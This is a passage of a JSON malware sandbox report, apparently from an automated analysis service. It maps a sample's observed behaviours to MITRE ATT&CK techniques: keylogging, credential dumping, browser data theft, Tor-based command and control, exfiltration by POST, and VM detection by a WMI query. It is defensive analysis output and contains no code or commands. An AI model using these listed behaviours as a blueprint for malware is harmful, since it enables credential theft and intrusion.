Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Able to load content into memory (.NET)"},{"type":"informative","value":"Contains ability to decode string content at runtime (Dotnet)"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"},{"type":"informative","value":"Able to decode string content at runtime (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Able to retrieve the valid logical drives on the computer"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains references to file movement (imports API)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to get active windows title"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Able to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API used to retrieve process information"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"malicious","value":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":".NET code is able to query registry"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries for Borland Delphi related registry entry"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Dotnet code contains ability to query registry"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains references to the retrieval of internet session handle (imports API)"},{"type":"informative","value":"Contains ability to retrieve configuration of a workstation (API string)"},{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"suspicious","value":"Calls an API typically used to retrieve configuration of a workstation"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"References Windows LDAP client module"},{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Contains ability to perform remote procedure calls (API string)"},{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"},{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"},{"type":"informative","value":"YARA signature match - Compress data using CryptoPP library"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops files with image extension"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"malicious","value":"Found more than one unique user-agent"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"Multi-hop Proxy","attack_id":"T1090.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/003","identifiers":[{"type":"informative","value":"Contains Tor Onion URL"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"},{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"malicious","value":"Sets a computer-based training (CBT) hook"},{"type":"informative","value":"Sets a windows hook"}],"sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"}],"sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]}],"sandbox_signatures":[{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with high confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-12","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with high confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-16","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"Select * from Win32_ComputerSystem\" (Indicator: \"select * from \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-433","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"Select * from Win32_ComputerSystem\" (Indicator: \" win32_computersystem\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1047","id":"string-55","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"Select * from Win32_ComputerSystem\" (Indicator: \" Win32_ComputerSystem\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-507","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"Select * from Win32_ComputerSystem\" (Source: sample.bin, Indicator: \"select * from win32_computersystem\")","origin":"sample.bin","mitre_attack_id":"T1213","id":"string-16","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains native function calls (syscalls strings)","description":"Found reference to API \"Select * from Win32_ComputerSystem\" (Indicator: \"select\"; Source: \"sample.bin\"), Found reference to API \"lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet\" (Indicator: \"read\"; Source: \"sample.bin\"), Found reference to API 